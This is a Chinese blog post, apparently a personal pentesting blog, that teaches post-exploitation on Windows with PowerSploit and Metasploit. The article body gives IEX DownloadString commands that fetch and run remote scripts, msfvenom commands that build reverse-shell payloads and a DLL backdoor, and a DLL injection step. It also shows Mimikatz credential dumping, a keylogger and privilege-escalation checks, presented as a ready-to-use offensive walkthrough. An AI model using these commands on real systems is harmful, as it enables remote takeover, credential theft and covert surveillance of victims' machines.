<!DOCTYPE html>












  


<html class="theme-next muse use-motion" lang="cn">
<head>
  <meta charset="UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2"/>
<meta name="theme-color" content="#222">






  
  
    
      
    
    
      
    
  <script src="//cdn.bootcss.com/pace/1.0.2/pace.min.js"></script>
  <link href="//cdn.bootcss.com/pace/1.0.2/themes/blue/pace-theme-flash.min.css" rel="stylesheet">







<meta http-equiv="Cache-Control" content="no-transform" />
<meta http-equiv="Cache-Control" content="no-siteapp" />



















  
  
  
  

  
    
    
  

  
    
      
    

    
  

  

  
    
      
    

    
  

  
    
      
    

    
  

  
    
    
    <link href="//fonts.googleapis.com/css?family=Lato:300,300italic,400,400italic,700,700italic|Monda:300,300italic,400,400italic,700,700italic|Lobster Two:300,300italic,400,400italic,700,700italic|PT Mono:300,300italic,400,400italic,700,700italic&subset=latin,latin-ext" rel="stylesheet" type="text/css">
  






  

<link href="//maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" type="text/css" />

<link href="/css/main.css?v=6.4.0" rel="stylesheet" type="text/css" />


  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png?v=6.4.0">


  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png?v=6.4.0">


  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png?v=6.4.0">


  <link rel="mask-icon" href="/images/logo.svg?v=6.4.0" color="#222">









<script type="text/javascript" id="hexo.configurations">
  var NexT = window.NexT || {};
  var CONFIG = {
    root: '/',
    scheme: 'Muse',
    version: '6.4.0',
    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
    fancybox: false,
    fastclick: false,
    lazyload: false,
    tabs: true,
    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
    algolia: {
      applicationID: '',
      apiKey: '',
      indexName: '',
      hits: {"per_page":10},
      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
    }
  };
</script>


  




  <meta name="description" content="暖晖下，一瞥坊间惊鸿影，那时我自是年少，韶华倾负。 –献给无数个像小凡一样油腻没有方向的狗粮大学生  这个系列有段时间没有更新了诶，忙里偷闲，更新下，嘻嘻，最近心情很好啊，有个能陪聊的女孩纸真的很开心诶 想看文章就点开吧，哈哈哈">
<meta name="keywords" content="PowerShell,PowerSploit">
<meta property="og:type" content="article">
<meta property="og:title" content="PowerShell攻击(2)">
<meta property="og:url" content="https://lengjibo.github.io/PowerShell攻击（2）/index.html">
<meta property="og:site_name" content="冷逸的个人博客|开往安河桥北~">
<meta property="og:description" content="暖晖下，一瞥坊间惊鸿影，那时我自是年少，韶华倾负。 –献给无数个像小凡一样油腻没有方向的狗粮大学生  这个系列有段时间没有更新了诶，忙里偷闲，更新下，嘻嘻，最近心情很好啊，有个能陪聊的女孩纸真的很开心诶 想看文章就点开吧，哈哈哈">
<meta property="og:locale" content="cn">
<meta property="og:image" content="https://i.screenshot.net/oox61s4">
<meta property="og:image" content="https://i.screenshot.net/81wq7ur">
<meta property="og:image" content="https://i.screenshot.net/wv3mvhq">
<meta property="og:image" content="https://i.screenshot.net/r7ekka9">
<meta property="og:image" content="https://i.screenshot.net/jz4rrax">
<meta property="og:image" content="https://i.screenshot.net/19rmmtv">
<meta property="og:image" content="https://i.screenshot.net/wq33kho">
<meta property="og:image" content="https://i.screenshot.net/yzdd4fp">
<meta property="og:image" content="https://i.screenshot.net/v9ppgf6">
<meta property="og:image" content="https://i.screenshot.net/6zkkpf3">
<meta property="og:image" content="https://i.screenshot.net/v6q1ms7">
<meta property="og:updated_time" content="2019-01-07T07:06:28.000Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="PowerShell攻击(2)">
<meta name="twitter:description" content="暖晖下，一瞥坊间惊鸿影，那时我自是年少，韶华倾负。 –献给无数个像小凡一样油腻没有方向的狗粮大学生  这个系列有段时间没有更新了诶，忙里偷闲，更新下，嘻嘻，最近心情很好啊，有个能陪聊的女孩纸真的很开心诶 想看文章就点开吧，哈哈哈">
<meta name="twitter:image" content="https://i.screenshot.net/oox61s4">



  <link rel="alternate" href="/../../.deploy_git/atom.xml" title="冷逸的个人博客|开往安河桥北~" type="application/atom+xml" />




  <link rel="canonical" href="https://lengjibo.github.io/PowerShell攻击（2）/"/>



<script type="text/javascript" id="page.configurations">
  CONFIG.page = {
    sidebar: "",
  };
</script>

  <title>PowerShell攻击(2) | 冷逸的个人博客|开往安河桥北~</title>
  









  <noscript>
  <style type="text/css">
    .use-motion .motion-element,
    .use-motion .brand,
    .use-motion .menu-item,
    .sidebar-inner,
    .use-motion .post-block,
    .use-motion .pagination,
    .use-motion .comments,
    .use-motion .post-header,
    .use-motion .post-body,
    .use-motion .collection-title { opacity: initial; }

    .use-motion .logo,
    .use-motion .site-title,
    .use-motion .site-subtitle {
      opacity: initial;
      top: initial;
    }

    .use-motion {
      .logo-line-before i { left: initial; }
      .logo-line-after i { right: initial; }
    }
  </style>
</noscript>

</head>

<body itemscope itemtype="http://schema.org/WebPage" lang="cn">

  
  
    
  

  <div class="container sidebar-position-left page-post-detail">
    <div class="headband"></div>

    <header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-wrapper">
  <div class="site-meta ">
    

    <div class="custom-logo-site-title">
      <a href="/" class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">冷逸的个人博客|开往安河桥北~</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
    
  </div>

  <div class="site-nav-toggle">
    <button aria-label="Toggle navigation bar">
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
    </button>
  </div>
</div>



<nav class="site-nav">
  
    <ul id="menu" class="menu">
      
        
        
        
          
          <li class="menu-item menu-item-home">
    <a href="/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-home"></i> <br />Startseite</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-about">
    <a href="/about/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-user"></i> <br />Über</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-tags">
    <a href="/tags/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-tags"></i> <br />Tags</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-categories">
    <a href="/categories/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-th"></i> <br />Kategorien</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-archives">
    <a href="/archives/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-archive"></i> <br />Archiv</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-book">
    <a href="/book/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-book"></i> <br />book</a>
  </li>

      
      
    </ul>
  

  
    

  

  
</nav>



  



</div>
    </header>

    


    <main id="main" class="main">
      <div class="main-inner">
        <div class="content-wrap">
          
          <div id="content" class="content">
            

  <div id="posts" class="posts-expand">
    

  

  
  
  

  

  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="https://lengjibo.github.io/PowerShell攻击（2）/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="冷逸">
      <meta itemprop="description" content="做一个温柔的人...">
      <meta itemprop="image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g7vony4ltaj308w08wq30.jpg">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="冷逸的个人博客|开往安河桥北~">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">PowerShell攻击(2)
              
            
          </h1>
        

        <div class="post-meta">
        
          <span class="post-time">

            
            
            

            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">Veröffentlicht am</span>
              

              
                
              

              <time title="Post created: 2019-01-05 22:21:35" itemprop="dateCreated datePublished" datetime="2019-01-05T22:21:35+08:00">2019-01-05</time>
            

            
              

              
                
                <span class="post-meta-divider">|</span>
                

                <span class="post-meta-item-icon">
                  <i class="fa fa-calendar-check-o"></i>
                </span>
                
                  <span class="post-meta-item-text">Edited on</span>
                
                <time title="Updated at: 2019-01-07 15:06:28" itemprop="dateModified" datetime="2019-01-07T15:06:28+08:00">2019-01-07</time>
              
            
          </span>

          
            <span class="post-category" >
            
              <span class="post-meta-divider">|</span>
            
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              
                <span class="post-meta-item-text">in</span>
              
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing"><a href="/categories/PowerShell/" itemprop="url" rel="index"><span itemprop="name">PowerShell</span></a></span>

                
                
              
            </span>
          

          
            
          

          
          

          
            <span class="post-meta-divider">|</span>
            <span class="post-meta-item-icon"
            >
            <i class="fa fa-eye"></i>
             Views:  
            <span class="busuanzi-value" id="busuanzi_value_page_pv" ></span>
            </span>
          

          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        <p>暖晖下，一瞥坊间惊鸿影，那时我自是年少，韶华倾负。</p>
<p>–献给无数个像小凡一样油腻没有方向的狗粮大学生</p>
<hr>
<p>这个系列有段时间没有更新了诶，忙里偷闲，更新下，嘻嘻，最近心情很好啊，有个能陪聊的女孩纸真的很开心诶</p>
<p>想看文章就点开吧，哈哈哈</p>
<a id="more"></a>
<p>PowerSploit是一款基于powershell的后渗透（Post-Exploitation）框架，集成大量渗透相关模块和功能。</p>
<p>项目地址：</p>
<p> <a href="https://github.com/mattifestation/PowerSploit" target="_blank" rel="noopener">https://github.com/mattifestation/PowerSploit</a></p>
<h3 id="PowerSploit安装"><a href="#PowerSploit安装" class="headerlink" title="PowerSploit安装"></a>PowerSploit安装</h3><p>kali linux下执行</p>
<blockquote>
<p>git clone <a href="https://github.com/mattifestation/PowerSploit" target="_blank" rel="noopener">https://github.com/mattifestation/PowerSploit</a></p>
</blockquote>
<p>然后将PowerSploit内所有内容放到apache的根目录下</p>
<p>执行</p>
<blockquote>
<p>service apache2 start</p>
</blockquote>
<p>打开浏览器，访问网页，出现如图所示页面即为成功</p>
<p><img src="https://i.screenshot.net/oox61s4" alt=""></p>
<h3 id="Powersploit-模块简介"><a href="#Powersploit-模块简介" class="headerlink" title="Powersploit 模块简介"></a>Powersploit 模块简介</h3><p>CodeExecution 在目标主机执行代码</p>
<ul>
<li>ScriptModification 在目标主机上创建或修改脚本</li>
<li>Persistence 后门脚本（持久性控制)</li>
<li>Persistence 后门脚本（持久性控制</li>
<li>Exfiltration 目标主机上的信息搜集工具</li>
<li>Mayhem 蓝屏等破坏性脚本</li>
<li>Recon 以目标主机为跳板进行内网信息侦查</li>
</ul>
<h3 id="Powersploit-模块运用"><a href="#Powersploit-模块运用" class="headerlink" title="Powersploit 模块运用"></a>Powersploit 模块运用</h3><p>Invoke-Shellcode 此模块结合MSF使用可以达到意想不到的效果，下面会介绍用法;先在目标主机安装“Invoke-Shellcode”脚本，使用Get-Help + 脚本名可以查看使用方法，下载命令格式：</p>
<blockquote>
<p>IEX (New-Object System.Net.WebClient).DownloadString(‘<a href="http://192.168.1.104/PowerSploit/CodeExecution/Invoke-Shellcode.ps1&#39;" target="_blank" rel="noopener">http://192.168.1.104/PowerSploit/CodeExecution/Invoke-Shellcode.ps1&#39;</a>)</p>
</blockquote>
<p>若失败可以使用下面的尝试：</p>
<blockquote>
<p>IEX(New-Object Net.WebClient).DownloadString(“<a href="http://192.168.1.104/PowerSploit/CodeExecution/Invoke-Shellcode.ps1&quot;" target="_blank" rel="noopener">http://192.168.1.104/PowerSploit/CodeExecution/Invoke-Shellcode.ps1&quot;</a>)</p>
</blockquote>
<p>或者这种：</p>
<blockquote>
<p>PS C:\Users\STAR&gt; $wc = new-object net.webclient<br>PS C:\Users\STAR&gt; $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials<br>PS C:\Users\STAR&gt; iex $wc.downloadstring(‘<a href="http://192.168.1.104/PowerSploit/CodeExecution/Invoke-Shellcode.ps1&#39;" target="_blank" rel="noopener">http://192.168.1.104/PowerSploit/CodeExecution/Invoke-Shellcode.ps1&#39;</a>)</p>
</blockquote>
<p>下载完之后我们可以使用Get-Help来稍微看下它的使用帮助</p>
<p><img src="https://i.screenshot.net/81wq7ur" alt=""></p>
<p>在MSF里面使用reverse_https模块进行反弹，设置如下</p>
<blockquote>
<p>msf exploit(multi/handler) &gt; set payload windows/meterpreter/reverse_https<br>payload =&gt; windows/meterpreter/reverse_https<br>msf exploit(multi/handler) &gt; set LHOST 192.168.1.104<br>LHOST =&gt; 192.168.1.104<br>msf exploit(multi/handler) &gt; set LPORT 4444<br>LPORT =&gt; 4444</p>
</blockquote>
<p><img src="https://i.screenshot.net/wv3mvhq" alt=""></p>
<p>本来在Invoke-Shellcode直接使用以下这条命令进行反弹的：</p>
<blockquote>
<p>Invoke-Shellcode -Payload windows/meterpreter/reverse_https –Lhost 192.168.1.104 -Lport 4444 -Force</p>
</blockquote>
<p>也可以这样：</p>
<blockquote>
<p>EX(New-ObjectNet.WebClient).DownloadString(‘<a href="http://192.168.1.104/CodeExecution/Invoke-Shellcode.ps1&#39;" target="_blank" rel="noopener">http://192.168.1.104/CodeExecution/Invoke-Shellcode.ps1&#39;</a>)<br>Invoke-Shellcode -payloadwindows/meterpreter/reverse_https -lhost 192.168.1.104 -lport 4444 -force</p>
</blockquote>
<p>若无法执行，请参考上一篇powershell的文章</p>
<p>但是Powersploit更新到了3.0, Invoke-Shellcode脚本没有Lhost和Lport参数，所以我们需要用到另外一种方法实现。<br>使用msfvenom生成一个powershell脚本。</p>
<blockquote>
<p>msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.104 LPORT=4444 -f powershell -o /var/www/html/test</p>
</blockquote>
<p>然后将它下载到目标机器上，并执行</p>
<blockquote>
<p>IEX(New-Object Net.WebClient).DownloadString(“<a href="http://192.168.1.104/CodeExecution/Invoke-Shellcode.ps1&quot;" target="_blank" rel="noopener">http://192.168.1.104/CodeExecution/Invoke-Shellcode.ps1&quot;</a>)<br>IEX (New-Object Net.WebClient).DownloadString(“<a href="http://192.168.1.104/test&quot;" target="_blank" rel="noopener">http://192.168.1.104/test&quot;</a>)<br>Invoke-Shellcode -Shellcode ($buf)</p>
</blockquote>
<p>如果正常的话，你的kali机器上就会有上线的机器了，但是基于https和http的反弹在网络不稳定的时候很不稳定，所以我们也可以用tcp的形式来反弹一个shell</p>
<p>首先：<br>使用msfvenom生成dll后门</p>
<blockquote>
<p>msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.104 lport=6667 -f dll -o /var/www/html/PowerSploit/lltest.dll</p>
</blockquote>
<p>说明：目标机64位 用x64 ； 32位的话用windows/meterpreter/reverse_tcp</p>
<p>然后在msf下作如下配置：</p>
<blockquote>
<p>msf &gt; use exploit/multi/handler<br>msf exploit(multi/handler) &gt; set PAYLOAD windows/x64/meterpreter/reverse_tcp<br>PAYLOAD =&gt; windows/x64/meterpreter/reverse_tcp<br>msf exploit(multi/handler) &gt; set LHOST 192.168.1.105<br>LHOST =&gt; 192.168.1.105<br>msf exploit(multi/handler) &gt; set LpORT 6667<br>LpORT =&gt; 6667<br>msf explo</p>
</blockquote>
<p>it(multi/handler) &gt; exploit </p>
<p>powershell 下载PowerSploit中Invoke-DllInjection.ps1和msfvenom生成的dll后门<br>首先上传dll文件到目标机。然后Get-Process 选定一个进程，最后注入到该进程</p>
<blockquote>
<p>IEX (New-Object Net.WebClient).DownloadString(“<a href="http://192.168.1.104/PowerSploit/CodeExecution/Invoke-DllInjection.ps1&quot;" target="_blank" rel="noopener">http://192.168.1.104/PowerSploit/CodeExecution/Invoke-DllInjection.ps1&quot;</a>)</p>
</blockquote>
<blockquote>
<p>Invoke-DllInjection -ProcessID 5816 -Dll C:\Users\Administrator\Desktop\lltest.dll</p>
</blockquote>
<p><img src="https://i.screenshot.net/r7ekka9" alt=""></p>
<p><img src="https://i.screenshot.net/jz4rrax" alt=""></p>
<p>不出意外的话，kali下就应该可以获取到shell了</p>
<p><img src="https://i.screenshot.net/19rmmtv" alt=""></p>
<h4 id="Invoke-Portscan端口扫描"><a href="#Invoke-Portscan端口扫描" class="headerlink" title="Invoke-Portscan端口扫描"></a>Invoke-Portscan端口扫描</h4><p>他肯定没有nmap好用，但是各有优势吧，这个东西小，powershell窗口一关，他就消失了，但是nmap的话，你还要在人家服务器上下一个nmap么？？动静太大了吧 – –</p>
<p>同样的，下载</p>
<blockquote>
<p>IEX (New-Object Net.WebClient).DownloadString(“<a href="http://192.168.1.105/PowerSploit/Recon/Invoke-Portscan.ps1&quot;" target="_blank" rel="noopener">http://192.168.1.105/PowerSploit/Recon/Invoke-Portscan.ps1&quot;</a>)</p>
</blockquote>
<p>使用方法：</p>
<blockquote>
<p>Invoke-Portscan -Hosts （ip，两个ip中使用，分割） -Ports “端口，一样的,分割”</p>
</blockquote>
<blockquote>
<p>Invoke-Portscan -Hosts 192.168.102.1,192.168.102.128 -Ports “80,22,3389”</p>
</blockquote>
<p>扫描结果</p>
<p><img src="https://i.screenshot.net/wq33kho" alt=""></p>
<h4 id="Invoke-Mimikatz"><a href="#Invoke-Mimikatz" class="headerlink" title="Invoke-Mimikatz"></a>Invoke-Mimikatz</h4><p>这玩意，干嘛的不用说了吧，相信大家都用过，内网神器！</p>
<blockquote>
<p>IEX (New-Object Net.WebClient).DownloadString(“<a href="http://192.168.1.105/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1&quot;" target="_blank" rel="noopener">http://192.168.1.105/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1&quot;</a>)</p>
</blockquote>
<p>使用</p>
<blockquote>
<p>Invoke-Mimikatz -DumpCreds</p>
</blockquote>
<p><img src="https://i.screenshot.net/yzdd4fp" alt=""></p>
<p>不过好像只有管理员才可以抓取…</p>
<h4 id="Get-Keystrokes"><a href="#Get-Keystrokes" class="headerlink" title="Get-Keystrokes"></a>Get-Keystrokes</h4><p>键盘记录，这玩意比metasploit下的那个键盘记录牛的多，一个是他记录的很详细，还有一个就是，他连你鼠标点的什么都记录，你说牛不牛</p>
<blockquote>
<p>IEX (New-Object Net.WebClient).DownloadString(“<a href="http://192.168.102.1/PowerSploit/Exfiltration/Get-Keystrokes.ps1&quot;" target="_blank" rel="noopener">http://192.168.102.1/PowerSploit/Exfiltration/Get-Keystrokes.ps1&quot;</a>)</p>
</blockquote>
<p>使用方法：</p>
<blockquote>
<p>Get-Keystrokes -LogPath + &lt;保存位置&gt;</p>
</blockquote>
<h4 id="PowerUp"><a href="#PowerUp" class="headerlink" title="PowerUp"></a>PowerUp</h4><p>Powerup是本地特权提升的一些调用方法，功能相当强大，拥有众多实用的脚本来帮助我们寻找目标主机Windows服务漏洞进行提权，也是 PowerShell Empire和PowerSploit 的一部分。</p>
<p>通常，在Windows下面我们可以通过内核漏洞来提升权限，但是，我们常常会碰到所处服务器通过内核漏洞提权是行不通的，这个时候，我们就需要通过脆弱的Windows服务提权；或者通过常见的系统服务，通过其继承的系统权限来完成提权等等，此框架可以在内核提权行不通的时候，帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。</p>
<p>如果要查看各个模块的详细说明，可以使用” Get-help [cmdlet] -full “来查看，比如” Get-Help Invoke-AllChecks -full “，如下图所示。</p>
<p><img src="https://i.screenshot.net/v9ppgf6" alt=""></p>
<h5 id="模块介绍："><a href="#模块介绍：" class="headerlink" title="模块介绍："></a>模块介绍：</h5><p>执行所有的脚本来检查。</p>
<p>执行方式：</p>
<blockquote>
<p>PS C:&gt; Invoke-AllChecks</p>
</blockquote>
<p><img src="https://i.screenshot.net/6zkkpf3" alt=""></p>
<p>等等其他的功能：</p>
<p><img src="https://i.screenshot.net/v6q1ms7" alt=""></p>
<h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>不想写了，嘤嘤嘤</p>

      
    </div>

    

    
    
    

    <div>
      
        
<div class="my_post_copyright">
  <script src="//cdn.bootcss.com/clipboard.js/1.5.10/clipboard.min.js"></script>
  
  <!-- JS库 sweetalert 可修改路径 -->
  <script src="https://cdn.bootcss.com/jquery/2.0.0/jquery.min.js"></script>
  <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
  <p><span>本文标题:</span><a href="/PowerShell攻击（2）/">PowerShell攻击(2)</a></p>
  <p><span>文章作者:</span><a href="/" title="访问 冷逸 的个人博客">冷逸</a></p>
  <p><span>发布时间:</span>2019年01月05日 - 22:01</p>
  <p><span>最后更新:</span>2019年01月07日 - 15:01</p>
  <p><span>原始链接:</span><a href="/PowerShell攻击（2）/" title="PowerShell攻击(2)">https://lengjibo.github.io/PowerShell攻击（2）/</a>
    <span class="copy-path"  title="点击复制文章链接"><i class="fa fa-clipboard" data-clipboard-text="https://lengjibo.github.io/PowerShell攻击（2）/"  aria-label="复制成功！"></i></span>
  </p>
  <p><span>许可协议:</span><i class="fa fa-creative-commons"></i> <a rel="license" href="https://creativecommons.org/licenses/by-nc-nd/4.0/" target="_blank" title="Attribution-NonCommercial-NoDerivatives 4.0 International (CC BY-NC-ND 4.0)">署名-非商业性使用-禁止演绎 4.0 国际</a> 转载请保留原文链接及作者。</p>  
</div>
<script> 
    var clipboard = new Clipboard('.fa-clipboard');
    $(".fa-clipboard").click(function(){
      clipboard.on('success', function(){
        swal({   
          title: "",   
          text: '复制成功',
          icon: "success", 
          showConfirmButton: true
          });
    });
    });  
</script>


      
    </div>
    <div>
      
        <div>
    
        <div style="text-align:center;color: #555;font-size:14px;">-------------The End-------------</div>
    
</div>

      
    </div>
    

    
      <div>
        <div style="padding: 10px 0; margin: 20px auto; width: 90%; text-align: center;">
  <div>坚持原创技术分享，您的支持将鼓励我继续创作！</div>
  <button id="rewardButton" disable="enable" onclick="var qr = document.getElementById('QR'); if (qr.style.display === 'none') {qr.style.display='block';} else {qr.style.display='none'}">
    <span>Donate</span>
  </button>
  <div id="QR" style="display: none;">

    
      <div id="wechat" style="display: inline-block">
        <img id="wechat_qr" src="/images/wechat.png" alt="冷逸 WeChat Pay"/>
        <p>WeChat Pay</p>
      </div>
    

    
      <div id="alipay" style="display: inline-block">
        <img id="alipay_qr" src="/images/zhifubao.jpg" alt="冷逸 Alipay"/>
        <p>Alipay</p>
      </div>
    

    

  </div>
</div>

      </div>
    

    

    <footer class="post-footer">
      
        <div class="post-tags">
          
            <a href="/tags/PowerShell/" rel="tag"><i class="fa fa-tag"></i> PowerShell</a>
          
            <a href="/tags/PowerSploit/" rel="tag"><i class="fa fa-tag"></i> PowerSploit</a>
          
        </div>
      

      
      
        <div class="post-widgets">
        

        

        
          
          <div class="social_share">
            
               <div>
                 
  <div class="bdsharebuttonbox">
    <a href="#" class="bds_tsina" data-cmd="tsina" title="分享到新浪微博"></a>
    <a href="#" class="bds_douban" data-cmd="douban" title="分享到豆瓣网"></a>
    <a href="#" class="bds_sqq" data-cmd="sqq" title="分享到QQ好友"></a>
    <a href="#" class="bds_qzone" data-cmd="qzone" title="分享到QQ空间"></a>
    <a href="#" class="bds_weixin" data-cmd="weixin" title="分享到微信"></a>
    <a href="#" class="bds_tieba" data-cmd="tieba" title="分享到百度贴吧"></a>
    <a href="#" class="bds_twi" data-cmd="twi" title="分享到Twitter"></a>
    <a href="#" class="bds_fbook" data-cmd="fbook" title="分享到Facebook"></a>
    <a href="#" class="bds_more" data-cmd="more"></a>
    <a class="bds_count" data-cmd="count"></a>
  </div>
  <script>
    window._bd_share_config = {
      "common": {
        "bdText": "",
        "bdMini": "2",
        "bdMiniList": false,
        "bdPic": ""
      },
      "share": {
        "bdSize": "16",
        "bdStyle": "0"
      },
      "image": {
        "viewList": ["tsina", "douban", "sqq", "qzone", "weixin", "twi", "fbook"],
        "viewText": "分享到：",
        "viewSize": "16"
      }
    }
  </script>

<script>
  with(document)0[(getElementsByTagName('head')[0]||body).appendChild(createElement('script')).src='//bdimg.share.baidu.com/static/api/js/share.js?cdnversion='+~(-new Date()/36e5)];
</script>

               </div>
            
            
          </div>
        
        </div>
      
      

      
        <div class="post-nav">
          <div class="post-nav-next post-nav-item">
            
              <a href="/btrsys2靶机wp/" rel="next" title="btrsys2靶机wp">
                <i class="fa fa-chevron-left"></i> btrsys2靶机wp
              </a>
            
          </div>

          <span class="post-nav-divider"></span>

          <div class="post-nav-prev post-nav-item">
            
              <a href="/常用端口入侵/" rel="prev" title="常用端口入侵">
                常用端口入侵 <i class="fa fa-chevron-right"></i>
              </a>
            
          </div>
        </div>
      

      
      
    </footer>
  </div>
  
  
  
  </article>


  </div>


          </div>
          

  



        </div>
        
          
  
  <div class="sidebar-toggle">
    <div class="sidebar-toggle-line-wrap">
      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
    </div>
  </div>

  <aside id="sidebar" class="sidebar">
    
    <div class="sidebar-inner">

      

      
        <ul class="sidebar-nav motion-element">
          <li class="sidebar-nav-toc sidebar-nav-active" data-target="post-toc-wrap">
            Inhaltsverzeichnis
          </li>
          <li class="sidebar-nav-overview" data-target="site-overview-wrap">
            Übersicht
          </li>
        </ul>
      

      <section class="site-overview-wrap sidebar-panel">
        <div class="site-overview">
          <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
            
              <img class="site-author-image" itemprop="image"
                src="http://ww1.sinaimg.cn/large/007F8GgBly1g7vony4ltaj308w08wq30.jpg"
                alt="冷逸" />
            
              <p class="site-author-name" itemprop="name">冷逸</p>
              <p class="site-description motion-element" itemprop="description">做一个温柔的人...</p>
          </div>

          
            <nav class="site-state motion-element">
              
                <div class="site-state-item site-state-posts">
                
                  <a href="/archives/">
                
                    <span class="site-state-item-count">113</span>
                    <span class="site-state-item-name">Artikel</span>
                  </a>
                </div>
              

              
                
                
                <div class="site-state-item site-state-categories">
                  <a href="/categories/index.html">
                    
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                    <span class="site-state-item-count">19</span>
                    <span class="site-state-item-name">Kategorien</span>
                  </a>
                </div>
              

              
                
                
                <div class="site-state-item site-state-tags">
                  <a href="/tags/index.html">
                    
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                    <span class="site-state-item-count">120</span>
                    <span class="site-state-item-name">Tags</span>
                  </a>
                </div>
              
            </nav>
          

          
            <div class="feed-link motion-element">
              <a href="/../../.deploy_git/atom.xml" rel="alternate">
                <i class="fa fa-rss"></i>
                RSS
              </a>
            </div>
          

          
            <div class="links-of-author motion-element">
              
                <span class="links-of-author-item">
                  <a href="https://github.com/lengjibo" target="_blank" title="GitHub"><i class="fa fa-fw fa-globe"></i>GitHub</a>
                  
                </span>
              
                <span class="links-of-author-item">
                  <a href="qqlengyi@163.com" target="_blank" title="E-Mail"><i class="fa fa-fw fa-globe"></i>E-Mail</a>
                  
                </span>
              
            </div>
          
        <div id="music163player">
            <iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width=330 height=110 src="https://music.163.com/outchain/player?type=0&id=377079922&auto=1&height=90"></iframe>
          </div>
          
          

          
          
            <div class="links-of-blogroll motion-element links-of-blogroll-block">
              <div class="links-of-blogroll-title">
                <i class="fa  fa-fw fa-link"></i>
                友情链接
              </div>
              <ul class="links-of-blogroll-list">
                
                  <li class="links-of-blogroll-item">
                    <a href="https://sqlmap.wiki/" title="青春's blog" target="_blank">青春's blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.addon.pub/" title="Yokeen's blog" target="_blank">Yokeen's blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
